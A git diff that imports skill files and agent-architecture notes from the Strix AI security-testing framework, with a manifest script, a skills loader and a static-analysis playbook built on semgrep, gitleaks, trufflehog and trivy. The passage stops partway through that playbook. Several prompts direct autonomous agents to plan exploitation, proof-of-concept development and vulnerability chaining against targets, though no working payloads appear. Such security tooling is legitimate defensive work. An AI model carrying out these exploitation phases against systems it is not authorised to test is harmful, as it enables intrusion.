orchestrator-worker-pattern +description: Hierarchical agent pattern — a root orchestrator decomposes work and spawns specialized workers with focused context +source: Distilled from Strix (https://github.com/usestrix/strix, Apache-2.0) — rev 15c95718 +category: agent-architecture +--- + +# Orchestrator/Worker Agent Pattern + +The root agent owns scope decomposition and aggregation. Specialized workers own narrow, parallelizable tasks. This pattern is what keeps multi-agent systems from drowning in context. + +## Roles + +**Root / Orchestrator** +- Decomposes the target into discrete, parallelizable tasks +- Decides *when* to spawn workers, not just at t=0 — spawn continues throughout execution as new findings emerge +- Holds the global view; workers hold local views +- Aggregates and de-duplicates worker output +- Never performs primitive operations itself (no direct file reads, no direct tool calls on the target) + +**Specialized Worker** +- One specific, measurable objective per worker +- Narrow capability scope — loaded with only the skills relevant to its objective (e.g. `authentication_jwt`, `idor`) +- Emits structured findings back to orchestrator +- Terminates on success, explicit failure, or when its scope is invalidated + +## Coordination Principles + +1. **Task Independence** — parallel > sequential. Design each worker so it does not block on another worker's output. +2. **Clear Objectives** — vague goals cause scope creep and duplicated work. Every worker's system prompt should answer "what does done look like?" +3. **Avoid Duplication** — before spawning, the orchestrator must check whether an existing worker already covers the scope. +4. **Hierarchical Delegation** — workers can spawn sub-workers when their scope expands (e.g. a discovery worker finds an endpoint → spawns a validator worker → spawns a report worker). +5. **Minimum Message Passing** — message passing is reserved for critical handoffs (request/answer pairs). Prefer batched updates to routine status pings. Every message is context a worker has to re-read. +6. **Resource Efficiency** — terminate workers when objectives are met or made irrelevant by new findings. + +## Completion Protocol + +When all workers report done: +1. Collect and deduplicate findings (different workers frequently observe the same root cause from different angles). +2. Assess overall posture / coverage — what wasn't tested, and why. +3. Compile executive summary with prioritized recommendations. +4. Invoke a final reporting tool (or agent) to produce the deliverable. + +## Why It Works + +- Each worker has a **fresh context window** tuned to its narrow task — they see only the skills and tools they need. +- The orchestrator never fills its own context with raw tool output — workers pre-digest. +- Parallelism is the primary speedup lever; this architecture is the enabling structure. + +## When NOT to Use + +- Single-file edits or one-shot queries — the overhead of spawning swamps the benefit. +- Strongly sequential workflows where each step depends on the last's full output — use a pipeline, not a swarm. +- When workers would all load the same large skills — the context savings evaporate. diff --git a/imported-skills/strix/agent-patterns/sandboxed-tool-runtime.md b/imported-skills/strix/agent-patterns/sandboxed-tool-runtime.md new file mode 100644 index 0000000000000000000000000000000000000000..386615b5196a01d879ea08730c882a04064107dc --- /dev/null +++ b/imported-skills/strix/agent-patterns/sandboxed-tool-runtime.md @@ -0,0 +1,52 @@ +--- +name: sandboxed-tool-runtime +description: Agent tool execution should happen inside a disposable container, not the host — isolation by default, not opt-in +source: Distilled from Strix (https://github.com/usestrix/strix, Apache-2.0) — rev 15c95718 +category: agent-architecture +--- + +# Sandboxed Tool Runtime + +When an LLM agent can run shell commands, HTTP requests, file operations, or code, the blast radius of a bad decision is unbounded. The sandboxed-runtime pattern constrains that blast radius by running every agent-initiated operation inside an ephemeral container. + +## Shape of the Pattern + +- One Docker (or equivalent) container per scan/session. +- Container has the toolchain pre-installed (scanners, browsers, language runtimes) and no credentials except what the host explicitly injects. +- Agent tool calls are serialized and sent to a tool-server process running *inside* the container. +- Target source code or artifacts are mounted at `/workspace/...` inside the container, not bind-mounted read-write to host-sensitive paths. +- Workspace subdirectories are created per-target so multiple targets in one run don't collide. +- Container lifetime == session lifetime. Cleanup on exit. + +## Trust Boundaries + +- **Host** trusts the agent to ask for operations but not to execute them directly. All operations go through the container. +- **Container** is untrusted by the host — its filesystem, network, and exit code are the only channels back. +- **Agent** is untrusted by the container's outer security policy — it can only call the registered tool actions, not arbitrary binaries (though inside the container shell access is typically granted, it's still a container, so the explosion radius is one container). + +## Why This Beats Running Tools on the Host + +- LLM agents produce unpredictable command strings. If even 1 in 10,000 is destructive (rm of wrong path, overly-broad git reset), running on host is catastrophic. +- Tooling dependencies (nmap, nuclei, specific Python versions, Playwright browsers) don't pollute the host. +- Reruns are deterministic — start a fresh container, get the same initial state. +- Credentials can be scoped to the session: inject `TOKEN=...` as container env, it's gone when the container exits. + +## Key Design Choices + +- **Non-interactive mode support** — the container runs long-lived tool-server; the agent talks to it via a local socket/HTTP boundary. +- **Streaming output** — tool-server streams stdout/stderr back as it arrives, not in a single blob at the end. +- **Cancellation** — the agent must be able to cancel a running tool (kill the process tree inside the container) without tearing down the whole session. +- **Pre-pulled images** — first run pulls the sandbox image (often hundreds of MB). Subsequent runs are fast because the image is cached. + +## When This Is Overkill + +- Pure LLM workloads with no tool calls — no blast radius to contain. +- Single-file text transforms where the agent rewrites and the host validates after — the host itself is the sandbox in effect. +- Short, well-typed tool sets (e.g. "this agent can only call `search_docs` and `read_file`") where each tool is individually safe. + +## When This Is Required + +- Agent executes arbitrary shell or code. +- Agent performs network operations against external targets. +- Agent modifies files in arbitrary paths. +- Multiple agent runs need reproducible, isolated environments. diff --git a/imported-skills/strix/agent-patterns/scan-mode-as-skill.md b/imported-skills/strix/agent-patterns/scan-mode-as-skill.md new file mode 100644 index 0000000000000000000000000000000000000000..27e42b820cba22610d4f796147fd7e24a0afefa1 --- /dev/null +++ b/imported-skills/strix/agent-patterns/scan-mode-as-skill.md @@ -0,0 +1,57 @@ +--- +name: scan-mode-as-skill +description: Operational modes (quick/standard/deep) should be first-class skills, not hard-coded branching — each mode defines its own phases, priorities, and completion criteria +source: Distilled from Strix (https://github.com/usestrix/strix, Apache-2.0) — rev 15c95718 +category: agent-architecture +--- + +# Scan-Mode-as-Skill + +Rather than hard-coding `if mode == "quick": do_x() else: do_y()` in the agent runtime, treat each operational mode as its own skill that the root agent loads at session start. Each mode skill encodes the phases, priorities, and exit criteria for that mode. + +## The Three Canonical Modes + +**Quick** — time-boxed rapid assessment +- Prioritize breadth over depth. +- Focus on recent changes (git diffs, modified files) — most likely to contain fresh bugs. +- Load existing wiki notes instead of remapping from scratch. +- Run fast static triage scoped to changed paths. +- One of each essential pass: `semgrep`, `ast-grep` (or `tree-sitter`), secrets, `trivy fs` — scoped. +- Use case: CI/CD check on a PR. + +**Standard** — balanced systematic assessment +- Full attack surface mapping, but not exhaustive depth on every surface. +- Understand the application before exploiting it. +- Complete authentication/authorization review. +- All major input vectors tested with primary techniques. +- Use case: routine security review, release gate. + +**Deep** — exhaustive assessment +- Maximum coverage, maximum depth. Finding what others miss is the goal. +- Multi-phase: exhaustive recon → business logic deep dive → comprehensive attack surface → vulnerability chaining → persistent testing → comprehensive reporting. +- Agents decompose hierarchically: component → feature → vulnerability, then scale horizontally. +- Use case: thorough audit, adversarial assessment, post-incident deep dive. + +## Why This Beats Hard-Coding Modes + +- **Transparent** — users can read exactly what "deep" means in markdown, not reverse-engineer control flow. +- **Extensible** — add `pr_review`, `red_team`, `compliance_scan` modes by dropping in new skill files. +- **Tunable per domain** — an org can fork the skill to reflect its own priorities without forking the engine. +- **Reusable pattern** — the same pattern works for any system that has "modes of operation": deployment modes, migration modes, refactor modes. + +## Anatomy of a Mode Skill + +- **Phase 1..N** — ordered steps with clear enter/exit criteria +- **Whitebox vs blackbox variants** — most modes apply differently depending on input +- **Agent strategy** — how to decompose work at this depth (what workers to spawn, how to parallelize) +- **Completion criteria** — what "done" looks like for this mode +- **Mindset guidance** — one paragraph setting the attitude (relentless vs. fast vs. thorough) + +## Portability Beyond Security + +The scan-mode-as-skill pattern maps cleanly onto any multi-step agent workflow where depth/time/rigor is a knob: +- **Code review**: quick (syntax + obvious bugs) / standard (+ architecture) / deep (+ perf + security + maintainability) +- **Refactoring**: quick (extract method) / standard (restructure module) / deep (cross-module redesign) +- **Documentation**: quick (API signatures) / standard (+ usage examples) / deep (+ architectural context + migration notes) + +Each mode becomes a first-class, versioned, diffable artifact. diff --git a/imported-skills/strix/agent-patterns/shared-wiki-memory-pattern.md b/imported-skills/strix/agent-patterns/shared-wiki-memory-pattern.md new file mode 100644 index 0000000000000000000000000000000000000000..af81d8b4355bc4aad71d598bf5644c3a4324efc5 --- /dev/null +++ b/imported-skills/strix/agent-patterns/shared-wiki-memory-pattern.md @@ -0,0 +1,47 @@ +--- +name: shared-wiki-memory-pattern +description: Multi-agent systems need a shared, append-only memory — one canonical note per entity, updated by every agent that touches it +source: Distilled from Strix (https://github.com/usestrix/strix, Apache-2.0) — rev 15c95718 +category: agent-architecture +--- + +# Shared Wiki Memory Pattern + +When a swarm of agents explores the same target, the fastest way to waste cycles is to let each agent re-derive the same mental model. The wiki-memory pattern enforces a single canonical note per entity (e.g. per repository, per service, per user flow) that every participating agent reads first and updates before finishing. + +## The Protocol + +1. **At task start** — every agent MUST call `list_notes(category="wiki")` and `get_note(note_id=...)` to load the canonical note for its scope. This is non-optional. +2. **If no note exists** — the first agent to arrive creates it with `create_note(category="wiki")`. Subsequent arrivals find and reuse it. +3. **During work** — agents extend the note with new findings via `update_note`. Never create a second note for the same entity. +4. **Before finishing** — every agent appends a short delta update (what did I find, what still needs validation) before calling `agent_finish`. + +## Note Anatomy (per repository) + +Recommended sections, kept in this order so readers get oriented fast: + +- **Architecture overview** — high-level shape: modules, entry points, deployment model +- **Entrypoints and routing** — how external traffic / invocations reach code +- **AuthN/AuthZ model** — identity flows, session handling, access checks +- **High-risk sinks and trust boundaries** — where untrusted data meets sensitive operations +- **Static scanner summary** — semgrep/ast-grep/secrets/trivy output, deduplicated +- **Dynamic validation follow-ups** — static findings that still need PoC + +## Why One Note Per Entity + +- **Convergence over divergence** — N agents produce one coherent story, not N conflicting ones. +- **Fast onboarding for new workers** — a worker spawned 20 minutes into a run reads the current wiki note in seconds and skips rediscovery. +- **Deduplication by construction** — if two agents are about to record the same finding, the second sees the first's entry and adapts. +- **Auditability** — the note's revision history is the assessment's reasoning log. + +## Discipline Required + +- Resist the temptation to create a parallel note. If the existing note is wrong, *update* it. +- Keep entries evidence-driven. A wiki bloated with speculation loses its value. +- Prefer bounded, query-driven entries over whole-repo dumps. "Here are the 4 SQL sinks we found" beats "here is grep output for every call to `execute`." + +## When It Backfires + +- Without concurrency discipline, updates can clobber each other (last writer wins). Either serialize updates, use append-only semantics, or use a CRDT-ish merge. +- If the note grows without compaction, it becomes context-poison for any agent that reads it. Periodically summarize and archive older sections. +- If agents skip the read-first step, the pattern provides zero benefit. Enforce it in the orchestration skill / system prompt, not as a polite suggestion. diff --git a/imported-skills/strix/agent-patterns/skill-injection-pattern.md b/imported-skills/strix/agent-patterns/skill-injection-pattern.md new file mode 100644 index 0000000000000000000000000000000000000000..d9dcf4c4a1e116de5006410e3e3878a2205a7d2a --- /dev/null +++ b/imported-skills/strix/agent-patterns/skill-injection-pattern.md @@ -0,0 +1,61 @@ +--- +name: skill-injection-pattern +description: Load up to N specialized skills into an agent at spawn time — dynamically tailor expertise per subtask +source: Distilled from Strix (https://github.com/usestrix/strix, Apache-2.0) — rev 15c95718 +category: agent-architecture +--- + +# Skill Injection Pattern + +Skills are specialized knowledge packages (markdown with YAML frontmatter). They are selected at agent-spawn time based on the subtask, then dynamically injected into the agent's system prompt. This is how a generic agent runtime becomes a domain expert on demand. + +## Shape of a Skill + +- Markdown document with YAML frontmatter `name` + `description` (the description is what the router matches against) +- Length budget: typically 150–250 lines (large enough for depth, small enough to combine several in one prompt) +- Content: advanced techniques, practical payloads/commands, validation methods, context-specific edge cases +- Self-contained — a skill should not require the agent to load other skills to understand it + +## Selection Protocol + +1. Orchestrator identifies the subtask (e.g. "test authentication mechanisms in API"). +2. A router scores each available skill's description against the subtask. +3. Top N skills (Strix uses N=5) are selected — beyond that, prompt bloat degrades quality. +4. Selected skill bodies are concatenated into the agent's system prompt at construction time. + +```python +# Shape of the spawn call +create_agent( + task="Test authentication mechanisms in API", + name="Auth Specialist", + skills="authentication_jwt,business_logic", +) +``` + +## Skill Categories (useful split for a large library) + +- **vulnerabilities/** — testing techniques for specific vuln classes (SQLi, XSS, IDOR, etc.) +- **frameworks/** — framework-specific patterns (FastAPI, Next.js, Django) +- **technologies/** — third-party platforms (Supabase, Firebase, payment gateways) +- **protocols/** — communication standards (GraphQL, WebSocket, OAuth) +- **tooling/** — CLI playbooks for specific tools (nmap, semgrep, sqlmap) +- **cloud/** — AWS/Azure/GCP/K8s testing patterns +- **reconnaissance/** — enumeration and mapping techniques +- **coordination/** — orchestration playbooks (how to work with other agents) +- **scan_modes/** — system-level mode definitions (quick/standard/deep) +- **custom/** — community-contributed / domain-specific + +## Why This Beats Baking Knowledge into the Agent + +- **Extensibility without retraining** — new skills are plain markdown files added to a directory; no code changes, no fine-tuning. +- **Context efficiency** — agents load only what they need; the same runtime handles wildly different domains. +- **Community contribution** — non-engineers (pentesters, auditors, domain experts) can contribute via PRs. +- **Version-controllable expertise** — skills are diffed, reviewed, and tested like any code artifact. + +## Design Rules for Writing Skills + +- Lead with the **YAML description** — it must be specific enough that the router can disambiguate. +- Include **practical examples** (payloads, commands, code snippets), not abstract principles. +- Include **validation methods** — how to confirm a finding and avoid false positives. +- Keep context-specific nuance (version, configuration, edge cases) in a clearly-labeled section. +- No external dependencies — if a skill references a tool, include the tool's invocation inline. diff --git a/imported-skills/strix/build_manifest.py b/imported-skills/strix/build_manifest.py new file mode 100644 index 0000000000000000000000000000000000000000..f5b7b074a60ea795549b1275e949a338426d8f00 --- /dev/null +++ b/imported-skills/strix/build_manifest.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +"""Generate MANIFEST.json for the imported Strix skill set. + +Reads every *.md under skills/ and agent-patterns/, parses YAML frontmatter, +emits a deterministic manifest the importer can consume. +""" + +from __future__ import annotations + +import json +import re +from pathlib import Path + +ROOT = Path(__file__).parent +SKILL_GLOBS = ["skills/**/*.md", "agent-patterns/*.md"] + +FRONTMATTER_RE = re.compile(r"^---\s*\n(.*?)\n---\s*\n", re.DOTALL) + + +def parse_frontmatter(text: str) -> dict[str, str]: + m = FRONTMATTER_RE.match(text) + if not m: + return {} + out: dict[str, str] = {} + for line in m.group(1).splitlines(): + if ":" not in line: + continue + k, _, v = line.partition(":") + out[k.strip()] = v.strip().strip('"').strip("'") + return out + + +def build() -> dict: + entries: list[dict] = [] + for glob in SKILL_GLOBS: + for path in sorted(ROOT.glob(glob)): + if path.name.upper() == "README.MD": + continue + text = path.read_text(encoding="utf-8") + fm = parse_frontmatter(text) + rel = path.relative_to(ROOT).as_posix() + category = rel.split("/")[1] if rel.startswith("skills/") else "agent-patterns" + entries.append({ + "name": fm.get("name", path.stem), + "description": fm.get("description", ""), + "category": category, + "source_path": rel, + "lines": len(text.splitlines()), + }) + return { + "upstream": "https://github.com/usestrix/strix", + "upstream_revision": "15c95718e600897a2a532a613a1c8fa6b712b144", + "upstream_date": "2026-04-13", + "license": "Apache-2.0", + "total_skills": sum(1 for e in entries if e["category"] != "agent-patterns"), + "total_patterns": sum(1 for e in entries if e["category"] == "agent-patterns"), + "total": len(entries), + "entries": entries, + } + + +def main() -> None: + manifest = build() + out_path = ROOT / "MANIFEST.json" + out_path.write_text(json.dumps(manifest, indent=2) + "\n", encoding="utf-8") + print( + f"Manifest written: {manifest['total']} entries " + f"({manifest['total_skills']} skills + {manifest['total_patterns']} patterns)" + ) + + +if __name__ == "__main__": + main() diff --git a/imported-skills/strix/skills/README.md b/imported-skills/strix/skills/README.md new file mode 100644 index 0000000000000000000000000000000000000000..aebf4c8ef1f2cc6fea4b210e66cdb092f0012dcb --- /dev/null +++ b/imported-skills/strix/skills/README.md @@ -0,0 +1,70 @@ +# 📚 Strix Skills + +## 🎯 Overview + +Skills are specialized knowledge packages that enhance Strix agents with deep expertise in specific vulnerability types, technologies, and testing methodologies. Each skill provides advanced techniques, practical examples, and validation methods that go beyond baseline security knowledge. + +--- + +## 🏗️ Architecture + +### How Skills Work + +When an agent is created, it can load up to 5 specialized skills relevant to the specific subtask and context at hand: + +```python +# Agent creation with specialized skills +create_agent( + task="Test authentication mechanisms in API", + name="Auth Specialist", + skills="authentication_jwt,business_logic" +) +``` + +The skills are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand. + +--- + +## 📁 Skill Categories + +| Category | Purpose | +|----------|---------| +| **`/vulnerabilities`** | Advanced testing techniques for core vulnerability classes like authentication bypasses, business logic flaws, and race conditions | +| **`/frameworks`** | Specific testing methods for popular frameworks e.g. Django, Express, FastAPI, and Next.js | +| **`/technologies`** | Specialized techniques for third-party services such as Supabase, Firebase, Auth0, and payment gateways | +| **`/protocols`** | Protocol-specific testing patterns for GraphQL, WebSocket, OAuth, and other communication standards | +| **`/tooling`** | Command-line playbooks for core sandbox tools (nmap, nuclei, httpx, ffuf, subfinder, naabu, katana, sqlmap) | +| **`/cloud`** | Cloud provider security testing for AWS, Azure, GCP, and Kubernetes environments | +| **`/reconnaissance`** | Advanced information gathering and enumeration techniques for comprehensive attack surface mapping | +| **`/custom`** | Community-contributed skills for specialized or industry-specific testing scenarios | + +Notable source-aware skills: +- `source_aware_whitebox` (coordination): white-box orchestration playbook +- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow + +--- + +## 🎨 Creating New Skills + +### What Should a Skill Contain? + +A good skill is a structured knowledge package that typically includes: + +- **Advanced techniques** - Non-obvious methods specific to the task and domain +- **Practical examples** - Working payloads, commands, or test cases with variations +- **Validation methods** - How to confirm findings and avoid false positives +- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases +- **YAML frontmatter** - `name` and `description` fields for skill metadata + +Skills focus on deep, specialized knowledge to significantly enhance agent capabilities. They are dynamically injected into agent context when needed. + +--- + +## 🤝 Contributing + +Community contributions are more than welcome — contribute new skills via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents. + +--- + +> [!NOTE] +> **Work in Progress** - We're actively expanding the skills collection with specialized techniques and new categories. diff --git a/imported-skills/strix/skills/__init__.py b/imported-skills/strix/skills/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..3d36c044ffb21b425b61cfff8a0236083371e409 --- /dev/null +++ b/imported-skills/strix/skills/__init__.py @@ -0,0 +1,167 @@ +import re + +from strix.utils.resource_paths import get_strix_resource_path + + +_EXCLUDED_CATEGORIES = {"scan_modes", "coordination"} +_FRONTMATTER_PATTERN = re.compile(r"^---\s*\n.*?\n---\s*\n", re.DOTALL) + + +def get_available_skills() -> dict[str, list[str]]: + skills_dir = get_strix_resource_path("skills") + available_skills: dict[str, list[str]] = {} + + if not skills_dir.exists(): + return available_skills + + for category_dir in skills_dir.iterdir(): + if category_dir.is_dir() and not category_dir.name.startswith("__"): + category_name = category_dir.name + + if category_name in _EXCLUDED_CATEGORIES: + continue + + skills = [] + + for file_path in category_dir.glob("*.md"): + skill_name = file_path.stem + skills.append(skill_name) + + if skills: + available_skills[category_name] = sorted(skills) + + return available_skills + + +def get_all_skill_names() -> set[str]: + all_skills = set() + for category_skills in get_available_skills().values(): + all_skills.update(category_skills) + return all_skills + + +def validate_skill_names(skill_names: list[str]) -> dict[str, list[str]]: + available_skills = get_all_skill_names() + valid_skills = [] + invalid_skills = [] + + for skill_name in skill_names: + if skill_name in available_skills: + valid_skills.append(skill_name) + else: + invalid_skills.append(skill_name) + + return {"valid": valid_skills, "invalid": invalid_skills} + + +def parse_skill_list(skills: str | None) -> list[str]: + if not skills: + return [] + return [s.strip() for s in skills.split(",") if s.strip()] + + +def validate_requested_skills(skill_list: list[str], max_skills: int = 5) -> str | None: + if len(skill_list) > max_skills: + return "Cannot specify more than 5 skills for an agent (use comma-separated format)" + + if not skill_list: + return None + + validation = validate_skill_names(skill_list) + if validation["invalid"]: + available_skills = list(get_all_skill_names()) + return ( + f"Invalid skills: {validation['invalid']}. " + f"Available skills: {', '.join(available_skills)}" + ) + + return None + + +def generate_skills_description() -> str: + available_skills = get_available_skills() + + if not available_skills: + return "No skills available" + + all_skill_names = get_all_skill_names() + + if not all_skill_names: + return "No skills available" + + sorted_skills = sorted(all_skill_names) + skills_str = ", ".join(sorted_skills) + + description = f"List of skills to load for this agent (max 5). Available skills: {skills_str}. " + + example_skills = sorted_skills[:2] + if example_skills: + example = f"Example: {', '.join(example_skills)} for specialized agent" + description += example + + return description + + +def _get_all_categories() -> dict[str, list[str]]: + """Get all skill categories including internal ones (scan_modes, coordination).""" + skills_dir = get_strix_resource_path("skills") + all_categories: dict[str, list[str]] = {} + + if not skills_dir.exists(): + return all_categories + + for category_dir in skills_dir.iterdir(): + if category_dir.is_dir() and not category_dir.name.startswith("__"): + category_name = category_dir.name + skills = [] + + for file_path in category_dir.glob("*.md"): + skill_name = file_path.stem + skills.append(skill_name) + + if skills: + all_categories[category_name] = sorted(skills) + + return all_categories + + +def load_skills(skill_names: list[str]) -> dict[str, str]: + import logging + + logger = logging.getLogger(__name__) + skill_content = {} + skills_dir = get_strix_resource_path("skills") + + all_categories = _get_all_categories() + + for skill_name in skill_names: + try: + skill_path = None + + if "/" in skill_name: + skill_path = f"{skill_name}.md" + else: + for category, skills in all_categories.items(): + if skill_name in skills: + skill_path = f"{category}/{skill_name}.md" + break + + if not skill_path: + root_candidate = f"{skill_name}.md" + if (skills_dir / root_candidate).exists(): + skill_path = root_candidate + + if skill_path and (skills_dir / skill_path).exists(): + full_path = skills_dir / skill_path + var_name = skill_name.split("/")[-1] + content = full_path.read_text(encoding="utf-8") + content = _FRONTMATTER_PATTERN.sub("", content).lstrip() + skill_content[var_name] = content + logger.info(f"Loaded skill: {skill_name} -> {var_name}") + else: + logger.warning(f"Skill not found: {skill_name}") + + except (FileNotFoundError, OSError, ValueError) as e: + logger.warning(f"Failed to load skill {skill_name}: {e}") + + return skill_content diff --git a/imported-skills/strix/skills/cloud/.gitkeep b/imported-skills/strix/skills/cloud/.gitkeep new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/imported-skills/strix/skills/coordination/root_agent.md b/imported-skills/strix/skills/coordination/root_agent.md new file mode 100644 index 0000000000000000000000000000000000000000..2b73256ea991521b3cfdc8e3dc4c305ee29e02b4 --- /dev/null +++ b/imported-skills/strix/skills/coordination/root_agent.md @@ -0,0 +1,92 @@ +--- +name: root-agent +description: Orchestration layer that coordinates specialized subagents for security assessments +--- + +# Root Agent + +Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly. + +You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope. + +## Role + +- Decompose targets into discrete, parallelizable tasks +- Spawn and monitor specialized subagents +- Aggregate findings into a cohesive final report +- Manage dependencies and handoffs between agents + +## Scope Decomposition + +Before spawning agents, analyze the target: + +1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc. +2. **Define boundaries** - in-scope domains, IP ranges, excluded assets +3. **Determine approach** - blackbox, greybox, or whitebox assessment +4. **Prioritize by risk** - critical assets and high-value targets first + +## Agent Architecture + +Structure agents by function: + +**Reconnaissance** +- Asset discovery and enumeration +- Technology fingerprinting +- Attack surface mapping + +**Vulnerability Assessment** +- Injection testing (SQLi, XSS, command injection) +- Authentication and session analysis +- Access control testing (IDOR, privilege escalation) +- Business logic flaws +- Infrastructure vulnerabilities + +**Exploitation and Validation** +- Proof-of-concept development +- Impact demonstration +- Vulnerability chaining + +**Reporting** +- Finding documentation +- Remediation recommendations + +## Coordination Principles + +**Task Independence** + +Create agents with minimal dependencies. Parallel execution is faster than sequential. + +**Clear Objectives** + +Each agent should have a specific, measurable goal. Vague objectives lead to scope creep and redundant work. + +**Avoid Duplication** + +Before creating agents: +1. Analyze the target scope and break into independent tasks +2. Check existing agents to avoid overlap +3. Create agents with clear, specific objectives + +**Hierarchical Delegation** + +Complex findings warrant specialized subagents: +- Discovery agent finds potential vulnerability +- Validation agent confirms exploitability +- Reporting agent documents with reproduction steps +- Fix agent provides remediation (if needed) + +**Resource Efficiency** + +- Avoid duplicate coverage across agents +- Terminate agents when objectives are met or no longer relevant +- Use message passing only when essential (requests/answers, critical handoffs) +- Prefer batched updates over routine status messages + +## Completion + +When all agents report completion: + +1. Collect and deduplicate findings across agents +2. Assess overall security posture +3. Compile executive summary with prioritized recommendations +4. Invoke finish tool with final report diff --git a/imported-skills/strix/skills/coordination/source_aware_whitebox.md b/imported-skills/strix/skills/coordination/source_aware_whitebox.md new file mode 100644 index 0000000000000000000000000000000000000000..c2343542256e29719edd06ccd75aa161a728a762 --- /dev/null +++ b/imported-skills/strix/skills/coordination/source_aware_whitebox.md @@ -0,0 +1,68 @@ +--- +name: source-aware-whitebox +description: Coordination playbook for source-aware white-box testing with static triage and dynamic validation +--- + +# Source-Aware White-Box Coordination + +Use this coordination playbook when repository source code is available. + +## Objective + +Increase white-box coverage by combining source-aware triage with dynamic validation. Source-aware tooling is expected by default when source is available. + +## Recommended Workflow + +1. Build a quick source map before deep exploitation, including at least one AST-structural pass (`sg` or `tree-sitter`) scoped to relevant paths. + - For `sg` baseline, derive `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`) and run `xargs ... sg run` on that list. + - Only fall back to path heuristics when semgrep scope is unavailable, and record the fallback reason in the repo wiki. +2. Run first-pass static triage to rank high-risk paths. +3. Use triage outputs to prioritize dynamic PoC validation. +4. Keep findings evidence-driven: no report without validation. +5. Keep shared wiki memory current so all agents can reuse context. + +## Source-Aware Triage Stack + +- `semgrep`: fast security-first triage and custom pattern scans +- `ast-grep` (`sg`): structural pattern hunting and targeted repo mapping +- `tree-sitter`: syntax-aware parsing support for symbol and route extraction +- `gitleaks` + `trufflehog`: complementary secret detection (working tree and history coverage) +- `trivy fs`: dependency, misconfiguration, license, and secret checks + +Coverage target per repository: +- one `semgrep` pass +- one AST structural pass (`sg` and/or `tree-sitter`) +- one secrets pass (`gitleaks` and/or `trufflehog`) +- one `trivy fs` pass +- if any part is skipped, log the reason in the shared wiki note + +## Agent Delegation Guidance + +- Keep child agents specialized by vulnerability/component as usual. +- For source-heavy subtasks, prefer creating child agents with `source_aware_sast` skill. +- Use source findings to shape payloads and endpoint selection for dynamic testing. + +## Wiki Note Requirement (Source Map) + +When source is present, maintain one wiki note per repository and keep it current. + +Operational rules: +- At task start, call `list_notes` with `category=wiki`, then read the selected wiki with `get_note(note_id=...)`. +- If no repo wiki exists, create one with `create_note` and `category=wiki`. +- Update the same wiki via `update_note`; avoid creating duplicate wiki notes for the same repo. +- Child agents should read wiki notes first via `get_note`, then extend with new evidence from their scope. +- Before calling `agent_finish`, each source-focused child agent should append a short delta update to the shared repo wiki (scanner outputs, route/sink map deltas, dynamic follow-ups). + +Recommended sections: +- Architecture overview +- Entrypoints and routing +- AuthN/AuthZ model +- High-risk sinks and trust boundaries +- Static scanner summary +- Dynamic validation follow-ups + +## Validation Guardrails + +- Static findings are hypotheses until validated. +- Dynamic exploitation evidence is still required before vulnerability reporting. +- Keep scanner output concise, deduplicated, and mapped to concrete code locations. diff --git a/imported-skills/strix/skills/custom/.gitkeep b/imported-skills/strix/skills/custom/.gitkeep new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/imported-skills/strix/skills/custom/source_aware_sast.md b/imported-skills/strix/skills/custom/source_aware_sast.md new file mode 100644 index 0000000000000000000000000000000000000000..c656343212e54dd0303eae94bd8f5003759c3f4a --- /dev/null +++ b/imported-skills/strix/skills/custom/source_aware_sast.md @@ -0,0 +1,167 @@ +--- +name: source-aware-sast +description: Practical source-aware SAST and AST playbook for semgrep, ast-grep, gitleaks, and trivy fs +--- + +# Source-Aware SAST Playbook + +Use this skill for source-heavy analysis where static and structural signals should guide dynamic testing. + +## Fast Start + +Run tools from repo root and store outputs in a dedicated artifact directory: + +```bash +mkdir -p /workspace/.strix-source-aware +``` + +Before scanning, check shared wiki memory: + +```text +1) list_notes(category="wiki") +2) get_note(note_id=...) for the selected repo wiki before analysis +3) Reuse matching repo wiki note if present +4) create_note(category="wiki") only if missing +``` + +After every major source-analysis batch, update the same repo wiki note with `update_note` so other agents can reuse your latest map. + +## Baseline Coverage Bundle (Recommended) + +Run this baseline once per repository before deep narrowing: + +```bash +ART=/workspace/.strix-source-aware +mkdir -p "$ART" + +semgrep scan --config p/default --config p/golang --config p/secrets \ + --metrics=off --json --output "$ART/semgrep.json" . +# Build deterministic AST targets from semgrep scope (no hardcoded path guessing) +python3 - <<'PY' +import json +from pathlib import Path + +art = Path("/workspace/.strix-source-aware") +semgrep_json = art / "semgrep.json" +targets_file = art / "sg-targets.txt" + +try: + data = json.loads(semgrep_json.read_text(encoding="utf-8")) +except Exception: + targets_file.write_text("", encoding="utf-8") + raise + +scanned = data.get("paths", {}).get("scanned") or [] +if not scanned: + scanned = sorted( + { + r.get("path") + for r in data.get("results", []) + if isinstance(r, dict) and isinstance(r.get("path"), str) and r.get("path") + } + ) + +bounded = scanned[:4000] +targets_file.write_text("".join(f"{p}\n" for p in bounded), encoding="utf-8") +print(f"sg-targets: {len(bounded)}") +PY +xargs -r -n 200 sg run --pattern '$F($$$ARGS)' --json=stream < "$ART/sg-targets.txt" \ + > "$ART/ast-grep.json" 2> "$ART/ast-grep.log" || true +gitleaks detect --source . --report-format json --report-path "$ART/gitleaks.json" || true +trufflehog filesystem --no-update --json --no-verification . > "$ART/trufflehog.json" || true +# Keep trivy focused on vuln/misconfig (secrets already covered above) and increase timeout for large repos +trivy fs --scanners vuln,misconfig --timeout 30m --offline-scan \ + --format json --output "$ART/trivy-fs.json" . || true +``` + +If one tool is skipped or fails, record that in the shared wiki note along with the reason. + +## Semgrep First Pass + +Use Semgrep as the default static triage pass: + +```bash +# Preferred deterministic profile set (works with --metrics=off) +semgrep scan --config p/default --config p/golang --config p/secrets \ + --metrics=off --json --output /workspace/.strix-source-aware/semgrep.json . + +# If you choose auto config, do not combine it with --metrics=off 